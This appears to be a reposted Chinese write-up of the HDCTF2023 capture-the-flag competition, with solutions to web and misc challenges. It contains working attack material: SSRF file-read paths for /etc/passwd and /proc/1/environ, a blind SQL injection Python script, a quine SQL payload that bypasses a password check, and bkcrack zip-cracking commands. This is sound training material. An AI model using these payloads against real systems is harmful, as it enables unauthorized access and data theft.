【HDCTF2023】wp

news2024/12/23 3:32:35

【HDCTF2023】wp

文章目录

    • 【HDCTF2023】wp
      • web
        • Welcome To HDCTF 2023
        • SearchMaster
        • YamiYami
        • LoginMaster
      • misc
        • hardMisc
        • MasterMisc
        • ExtremeMisc
        • SuperMisc

web

Welcome To HDCTF 2023

在源码的 game.js中找到了flag

image-20230423142427742

在控制台输出 console.log(seeeeeeeecret)得flag

SearchMaster

使用dirmap扫描目录,发现:composer.json,访问一下:

{
    "name": "smarty/smarty",
    "type": "library",
    "description": "Smarty - the compiling PHP template engine",
    "keywords": [
        "templating"
    ],
    "homepage": "https://smarty-php.github.io/smarty/",
    "license": "LGPL-3.0",
    "authors": [
        {
            "name": "Monte Ohrt",
            "email": "monte@ohrt.com"
        },
        {
            "name": "Uwe Tews",
            "email": "uwe.tews@googlemail.com"
        },
        {
            "name": "Rodney Rehm",
            "email": "rodney.rehm@medialize.de"
        },
        {
            "name": "Simon Wisselink",
            "homepage": "https://www.iwink.nl/"
        }
    ],
    "support": {
        "issues": "https://github.com/smarty-php/smarty/issues",
        "forum": "https://github.com/smarty-php/smarty/discussions"
    },
    "require": {
        "php": "^7.1 || ^8.0"
    },
    "autoload": {
        "classmap": [
            "libs/"
        ]
    },
    "extra": {
        "branch-alias": {
            "dev-master": "4.0.x-dev"
        }
    },
    "require-dev": {
        "phpunit/phpunit": "^8.5 || ^7.5",
        "smarty/smarty-lexer": "^3.1"
    }
}

发现是 php smarty模板注入

image-20230423143014048

提示我们需要使用post方式上传一个名为 data的变量:

测试一下确实有回显:

image-20230423143124024

直接读flag:

image-20230423143218303

YamiYami

进入题目:

image-20230423143948531

当我们点击 Read somethings时:

http://node2.anna.nssctf.cn:28523/read?url=https://baidu.com

我们发现可以读取到百度首页的内容,这是SSRF(突然忘记了)

python中我们可以使用 file伪协议读取文件内容

我们尝试一下读取 /etc/passwd

image-20230423144508490

成功读取

非预期解:(直接读取环境变量)

file:///proc/1/environ   # 这里读的是pid为1的进程

image-20230423144607816

如果读取当前进程的环境变量是读取不到的:

image-20230423145412951

Linux-Proc目录的利用

预期解:

LoginMaster

robots.txt泄露

<?php
function checkSql($s) 
{
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

sql注入题目,username必须为admin,此处我们需要从密码着手

但是注意看,过滤了 in ,意味着我们不能使用 information_schema库查询表名,列名

我本来是想找一下除了information_schema库,还有哪些库能用来查询的,找了这么几个:

mysql.innodb_table_stats
sys.schema_table_statistics
sys.schema_table_statistics_with_buffer

这几个都能用来查询表名,此处我们可以使用下面两个,我们我们写脚本去查询表名:

import requests

url = "http://node5.anna.nssctf.cn:28973"
flag = ""
s = "0123456789abcdefghijklmnopqrstuvwxyz-{}_.,"

for i in range(60):
    for j in s:
        # payload = "1'/**/or/**/if((mid((select/**/version()),{},1)/**/like/**/'{}'),1,0)#".format(i, j) # 10_2_32-mariadb
        # payload = "1'/**/or/**/if((mid((select/**/database()),{},1)/**/like/**/'{}'),1,0)#".format(i, j) # ciscn
        # payload = "1'/**/or/**/if((mid((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics),{},1)/**/like/**/'{}'),1,0)#".format(i, j)
        payload = "1'/**/or/**/if((mid((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics/**/where/**/table_schema/**/like/**/'ciscn'),{},1)/**/like/**/'{}'),1,0)#".format(i, j)
        data = {
            'username': 'admin',
            'password': payload
        }
        req = requests.post(url=url, data=data)
        # print(payload)
        # print(req.text)
        if 'hacker' in req.text:
            print(payload)
        if 'something' in req.text:
            print("someting")
        if 'wrong password' in req.text:
            flag += j
            print(flag)
            break

发现啥都查不出来。。

实际上此处为一张空表,我们需要使用另一种做法(quine)

重点的代码是这里:

if ($row['password'] === $password) {
        die($FLAG);
    } 

我们除了让输入的密码与真正的密码一致外,还可以让输入的结果与输出的结果相同,同样可以实现获得flag

举个例子:

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

image-20230423152442610

输入和输出结果一致,从而可以绕过

这里需要知道一下原理:

从三道赛题再谈Quine trick

CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入)

NSS日刷-[第五空间 2021]yet_another_mysql_injection-Qunie

看着有点烧脑,其实就是套娃

我们首先尝试一下:

select REPLACE('.',char(46),'.');

image-20230423153453045

输出是一个小数点 .

我们尝试将 上一段代码中的小数点 . 替换为:

REPLACE(".",char(46),".")   -- 这里使用双引号包裹,防止单双引号重叠

完整代码:

select REPLACE('REPLACE(".",char(46),".")',char(46),'REPLACE(".",char(46),".")');

image-20230423153432347

乍一看好像是一样的,但是单双引号有点区别,我们需要再套REPLACE替换一下

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

image-20230423155242323

是真的麻烦。。

基本上就是这种思路了

payload:

1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

image-20230423155425281

misc

hardMisc

010打开,base64解码

image-20230423155953654

MasterMisc

image-20230423160525223

打开发现有很多压缩包,

百度查了一下,这种是分卷压缩包,我们可以在cmd中输入如下命令,合并为一个压缩包:

copy /B topic.zip.001+topic.zip.002+topic.zip.003+topic.zip.004+topic.zip.005+topic.zip.006 topic.zip

image-20230423161002616

爆破一下找到压缩包密码,使用foremost分离图片:

得到一个wav音频和一张绿色的图片,我们使用Audacity看一下频谱图:

image-20230423161240384

找到一部分flag

使用010修改绿色图片高度:

image-20230423161334548

得到另一部分flag,

最后一部分在topic.png中找到:

image-20230423161418358

NSSCTF{e67d8104-7536-4433-bfff-96759901c405}

ExtremeMisc

一张 IDAT.png 首先使用 foremost分离一下,得到一个 Dic.zip

使用 Ziperello工具说没有加密,还以为是伪加密。。坑人

其实这里的密码是字母(以前一般都是数字),使用Archpr爆破得到密码:haida

打开Reverse.piz

image-20230423173129578

很明显,这里每一个字节都需要反转一下,需要写个脚本:

f = open("C://Users/LIKE/Desktop/Reverse.piz", "rb")
data = f.read()
fzip = open("C://Users/LIKE/Desktop/fzip.zip", "wb")
s = b""

for i in data:
    tmp = int(("%02x" % i)[::-1], 16)

    s += bytes([tmp])
    # print(tmp.to_bytes(1, 'little'))

fzip.write(s)

首先以二进制形式读取文件给data,然后遍历这些二进制字符串,
注意:int(("%02x" % i)[::-1], 16)  我们将二进制转化为16进制然后宽度为2,不够使用0填充,
然后反转一下,并使用int()函数转为10进制
然后将10进制数字转为字节bytes([])进行拼接,最后以二进制格式写入

写这种编码转化的脚本不是很会,需要多学一学

字节到大整数的打包与解包

然后再使用爆破zip,获得如下文件:

image-20230423174633982

很明显,在Plain.zip中存在内容已知的 secret.txt文件,我们可以使用明文爆破,ARCHPRbkcrack

这里我们选择 bkcrack速度快一点:

./bkcrack -C Plain.zip -c "secret.txt" -p secret.txt

image-20230423174819872

爆出来3个key,用这些key去产生一个新的压缩包,密码自己设置:

bkcrack -C Plain.zip -c "secret.txt" -k ec437a15 db89e36d cd3e8e15 -U flag.zip 123

我们使用 -U 参数 生成了一个新的flag.zip压缩包,密码123:

使用密码打开 flag.txt

image-20230423175025410

SuperMisc

打开文件夹,发现存在 .git 文件夹,说明使用了git,我们git log查看一下日志:

image-20230424111856953

发现存在提交记录,于是我们切换到第二次提交的时候:

git reset --hard e9286d88c95ab6411b323dca8f358abc3a7e204f

image-20230424112004591

发现多了一个压缩包 Vigenere.zip,但是不知道密码,于是我们使用010打开png图片:

image-20230424112124160

发现很多 0、1的二进制数据,我们把它提取出来放到 data.txt中:

image-20230424112233522

我们猜测这可能需要使用这些0、1组成图片:

于是我们写个脚本将这些16进制的转化为普通的文本文件out.txt

f = open("C://Users/LIKE/Desktop/data.txt", "rb")
fw = open("C://Users/LIKE/Desktop/out.txt", "w")
s = ""
data = f.read()
for i in data:
    ch = "%02x" % i
    s += ch

fw.write(s)

image-20230424112501328

然后使用python脚本将01转化为图片:

from PIL import Image

fr = open("C://Users/LIKE/Desktop/out.txt", "r")
data = fr.read()

img = Image.new("RGB", (1150, 1150))

# print(data)
i = 0
for x in range(1150):
    for y in range(1150):
        if data[i] == "1":
            img.putpixel((x, y), (255, 255, 255))
        elif data[i] == "0":
            img.putpixel((x, y), (0, 0, 0))
        i += 1

img.show()
img.save("flag.png")
flag

扫描二维码:

11000#11111#10000#01111#11000#00011#11000#00011#00011#100#00011#01111#10000#00011#00011#00001#10000#00111#00011#00001#10000#00001#00011#11111#00011#11111#00111#100#00011#11000#00011#00001#10000#00001#10000#10000#00111#100#00011#00001#00011#00001#00011#11110#00011#00111#00111#100#10000#00111#00011#11111#00011#00001#00011#11110#00111#100#00011#00000#00011#11100#00011#00111#10000#00000#10000#00000#00011#11100#00011#00011#00011#11111#00011#11110#10000#00000#00011#10000#00011#00000

使用 0、1、# 3中字符组成,猜测这应该是莫斯密码:

image-20230424112703479

然后将16进制转为字符串:

image-20230424112728145

获得压缩包密码,解密获得 Vigenere 文件:

我们使用 file命令查看一下是什么文件:

image-20230424113112354

在010中打开得到字符串:

image-20230424113413288

或者 strings

image-20230424113438992

然后结合文件名,知道是维吉尼亚密码,但是需要密钥

使用大佬脚本根据明文爆破密钥

image-20230424114943236

获得密钥 IBFQW:

image-20230424115032601

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/456260.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一文解析:低代码开发平台和零代码平台有什么区别?以及如何选?

随着数字化转型的加速&#xff0c;企业和组织对于快速开发和部署应用程序的需求也越来越迫切。 为了满足这一需求&#xff0c;低代码和零代码平台应运而生。这两种平台都提供了快速构建应用程序的方法&#xff0c;但它们之间的区别是什么呢&#xff1f;本篇就来为大家解答一下…

Linux常用命令(二)

目录 VI/VIM编辑器 Linux的root用户 用户和用户组管理 getent命令 查看权限控制信息 修改权限控制 chmod 修改权限控制 chown VI/VIM编辑器 vim是vi的加强版&#xff0c;兼容vi的所有指令。可编辑文本、shell程序&#xff0c;能以不同颜色字体来辨别语法正确性。3种工作…

软件研发的项目经理都在用哪些好的设计和管理的软件工具?

软件研发是一个复杂而又有趣的过程&#xff0c;它涉及到多个阶段&#xff0c;如需求分析、设计、编码、测试、部署、维护等。在这个过程中&#xff0c;我们需要使用各种工具来帮助我们提高效率、保证质量、协作沟通、解决问题等。工具化是指将一些重复性或者困难的任务封装成可…

Python-pyppeteer解决微软Microsoft的登录机器人验证(8)

前言 本文是该专栏的第8篇,结合优质项目案例,让你精通使用Pyppeteer,后面会持续分享Pyppeteer的干货知识,记得关注。 在注册微软Microsoft账号或者注册outlook邮箱账号的时候,会遇到如下机器人验证: 是的,你可能第一眼看到这个验证页面,首先会想到是定位它的页面元素N…

《C++PrimerPlus》第六章 分支语句和逻辑运算符

本篇文章将对《CPrimerPlus》第3章进行勾画 以我个人习惯来勾画 C和C不同点将用红色高亮表示 关于C的额外补充知识用蓝色高亮表示 对C的注意点以及总结部分用绿色高亮表示 正常情况本专栏2周更新一次 文章目录 6.1 if语句![在这里插入图片描述](https://img-blog.csdnimg.cn/…

Qt音视频开发40-ffmpeg采集桌面并录制

一、前言 之前用ffmpeg打通了各种视频文件和视频流以及本地摄像头设备的采集&#xff0c;近期有个客户需求要求将整个桌面屏幕采集下来&#xff0c;并可以录制保存成MP4文件&#xff0c;以前也遇到过类似的需求&#xff0c;由于没有搞过&#xff0c;也没有精力去摸索和测试&am…

研报精选230424

目录 【行业230424华福证券】功率半导体行业深度报告&#xff1a;能源变革大时代&#xff0c;功率器件大市场 【行业230424华西证券】海外锂资源企业近况总结之锂辉石篇&#xff1a;2023年海外锂资源供应量同比增长45%&#xff0c;H2比H1增加13万吨LCE供应 【行业230424东吴证券…

免费且不丢失数据的MBR转GPT软件!

什么是MBR和GPT&#xff1f; MBR和GPT是不同的分区形式&#xff0c;它们是管理硬盘的2种不同方式。MBR是一种旧的分区形式&#xff0c;而GPT是一种逐渐取代MBR的新分区形式。 通常&#xff0c;MBR和GPT在分区大小、主分区数和引导模式方面有不同。MBR支持不超过2TB的硬盘&a…

《商用密码应用与安全性评估》第三章商用密码标准与产品应用3.2商用密码产品类别

商用密码产品类型 商用密码产品按形态可以划分为六类∶软件、芯片、模块、板卡、整机、系统 软件是指以纯软件形态出现的密码产品&#xff0c;如密码算法软件。芯片是指以芯片形态出现的密码产品&#xff0c;如算法芯片、安全芯片。模块是指将单一芯片或多芯片组装在同一块电路…

搞懂 API ,后端 API 接口设计方法

后端 API 接口设计是开发 Web 应用和移动应用的关键组成部分&#xff0c;好的接口设计可以提高应用的稳定性、可维护性和安全性。以下是一些常用的后端 API 接口设计方法&#xff1a; 使用 RESTful API&#xff1a;RESTful API 是一种基于 HTTP 协议的 Web API 设计理念&#x…

DAY04_方法

1&#xff1a;方法的定义和使用 1.1 方法概述和课程安排 什么是方法呢&#xff1f; 方法(method)&#xff1a;就是完成特定功能的代码块 如何理解这句话呢?来&#xff0c;我们看一段代码&#xff0c;相信这个大家应该已经很熟悉了 这就是我们的main方法&#xff0c;也就是…

LiveGBS国标GB/T28181国标视频流媒体平台-功能报警告警订阅查询报警预案截图保存视频及REDIS消息订阅

LiveGBS国标GB/T28181国标视频流媒体平台-功能报警告警订阅查询报警预案截图保存视频及REDIS消息订阅 1、报警信息1.1、报警查询1.2、配置开启报警订阅1.2.1、国标设备编辑1.2.2、选择开启报警订阅 1.3、配置摄像头报警1.3.1、配置摄像头报警通道ID1.3.2、配置摄像头开启侦测1.…

LVS-DR部署

Lvs基于内核实现的负载均衡 只有四层代理转发 请求数据包&#xff0c;源地址&#xff08;客户端&#xff09;变目的。vip变源 lo&#xff1a;0回环网卡 数据包流向分析&#xff1a; &#xff08;1&#xff09;客户端发送请求到 Director Server&#xff08;负载均衡器&#…

springmvc请求路径以及url地址映射和参数绑定,jetty是什么

springmvc请求流程&#xff1a; url地址映射和参数绑定&#xff1a; controller文件 requestmapping括号里是url路径。 若web.xml里pattern里有.do则要加到url后面 综述&#xff1a;url为 localhost:8080/springmvc01/test01 地址&#xff1a;localhost:8080/web.xml设置的后缀…

业内首批!安全狗入选Gartner《云原生应用保护平台市场指南》报告

近日&#xff0c;国际咨询机构Gartner首次发布了《云原生应用保护平台市场指南》&#xff08;Market Guide for Cloud-Native Application Protection Platforms&#xff09;。 作为国内云原生安全领导厂商&#xff0c;安全狗凭借突出的云原生安全产品能力入选报告&#xff0c…

U3D实现自由视角

一、添加Cinemachine插件 可以直接从Unity顶部菜单的Windows>Package Manager>Unity Registry点击弹出后窗口的右侧输入Cinemachine&#xff0c;然后选择install 二、对主相机添加&#xff08;Brain组件&#xff09; 三、对相机跟随的对象添加两个子空物体&#xff0c;一…

搞懂 API,调用 API 接口通常有这些技巧

其实没什么技巧&#xff0c;无他&#xff0c;唯熟悉API 原理&#xff08;dog.jpg&#xff09;。 不过对于新人来说&#xff0c;掌握这些基础知识还是很有必要的&#xff1a; 1.了解API的功能和用法&#xff1a;在使用API之前&#xff0c;您应该了解API的功能和使用方式。这将有…

这款产品,竟然用了几千多年才爆火?

春秋时期&#xff0c;淄博的临淄作为齐国都城&#xff0c;称得上是当时山东最繁华的地方。任世事沧桑巨变&#xff0c;在小透明了两千多年后&#xff0c;淄博又迎来了新的繁华&#xff1a;这次&#xff0c;淄博烧烤火出圈了&#xff01; &#xff08;图源bilibili纪录片《人生…

【箭头函数以及声明特点】

箭头函数以及声明特点 1 箭头函数的声明2 箭头函数的特性3 箭头函数实践 1 箭头函数的声明 ES6允许使用箭头>定义函数 <script>// 声明一个函数// 原先let fn function(a,b){return a b;}// 现在let fn1 (a,b) > {return a b;}// 调用函数let result fn1(1, …

ClickHouse中的MergeTree表引擎详解

MergeTree的特点 MySQL中最强大的表引擎是InnoDB&#xff0c;ClickHouse中最强大的表引擎是MergeTree以及该系列中的其他引擎。MergeTree 系列的引擎被设计用于插入极大量的数据到一张表当中。数据可以以数据片段的形式一个接着一个的快速写入&#xff0c;数据片段在后台按照一…